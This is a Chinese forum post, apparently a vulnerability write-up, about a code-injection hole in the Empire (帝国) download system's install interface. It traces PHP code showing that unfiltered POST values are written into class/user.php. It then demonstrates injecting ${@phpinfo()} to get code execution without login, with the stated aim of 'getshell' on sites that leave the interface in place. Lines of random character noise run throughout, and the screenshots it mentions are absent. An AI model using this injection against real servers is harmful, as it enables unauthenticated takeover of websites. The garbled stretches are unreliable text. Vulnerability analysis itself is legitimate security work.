这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们: K* z: ^7 X* @
- F; Y% f4 o9 g2 ? S5 o1 R) e$ M% }
: S. ^- G4 ^2 x! o- A这是帝国的一套下载系统 如图( O$ O0 s& s; A# Y1 |
ps(不需要任何账户和密码,直接写shell) 4 Q3 W( Z! B2 A* p* X
由于很多站是由于下载要整合discuz 等等一些论坛....1 R+ ~2 p: q$ k( m; R: e
- }, v$ `+ f: j, H8 ~1 L& q3 t
而帝国他又有一个万能接口,如图
: ~ [! U$ k! Z. g7 z
5 M( t% X* S+ U! V/ r8 k/ k K7 N% F6 L; L1 U9 G4 w8 n
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码" y% D3 F; m% S( r9 L7 R2 _* {
. D& ]( p; F$ L- V当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. C! I' M0 d$ i
$ K. E" S; |5 T+ x8 [5 n* X8 J在data/fun.php中的15行
; ^2 m# J% Q) V( H1 i
; V1 x( Y0 T! i7 n+ e& K我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
3 k0 q' R& C7 d( P J4 _- |8 {8 z17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
# [1 n% C( |3 E; {3 ]* w6 N h3 X+ r; p; L+ v% d! @
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
$ b3 B- g0 F, X7 ~4 ^8 \# C' o ]! T- J" [0 o, m/ x6 Y
他将传进来的变量进行了切割,然后赋给了$filetext
7 o/ @2 I4 V/ \: w/ k+ F6 b
% x Y9 g. V; z2 \, Z然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了8 _" ^: z0 c/ b0 H
3 E4 r: ]2 y2 P! O T0 l我们看看写入的结果,随便填一个
, @) k) V* q! Y n/ i2 J4 n: a# `* {- ~3 W
4 Y K- }+ x/ o# g9 f* ?
1 U$ \: ^* K0 T+ t1 V8 k/ @- ^2 M
1 `' X, s( z& T
* Z5 i2 _" }4 Q# ]' t4 K0 i; s7 T* f- |
% b W' Z% h8 J+ H
6 I% y6 U$ C' v$ q$ i9 U7 D8 }
. x. r- D; G; z8 b, J
2 ~( d/ {" O) d1 Q
) L! F. V1 l8 t/ ]
, S' r! g J' F7 U: Q
& S0 w- C$ ~/ K- f# F
2 S% D# O8 ?* [1 G
; r( F) |+ A8 X6 {4 c! e; C# `4 k: x6 I+ O* H- x8 o
7 g! r* ~0 y) O3 P+ \6 i, c
, G' B7 c( y) @7 ?3 D; O
! x0 W& q! A9 E* |- V/ [0 F
6 X: D e; \& i. D9 a: r$ ]+ L. y
' }% k7 n- j% S# e6 E' X所以我们淫荡点,写个${@phpinfo()}试试
, `7 F; Z4 C( @然后访问以下class/user.php这个文件8 o% Q1 q. X# o
日了吧 % K T+ Q# O6 T8 R) j
6 D1 K; ~7 G, p# M [
* ~- \0 L$ ^; z$ _3 p ^) O
: x8 }& Y$ y$ i6 |- u7 F3 E+ V% S) b I
# f* y& P" T1 t; v% J3 B( M
|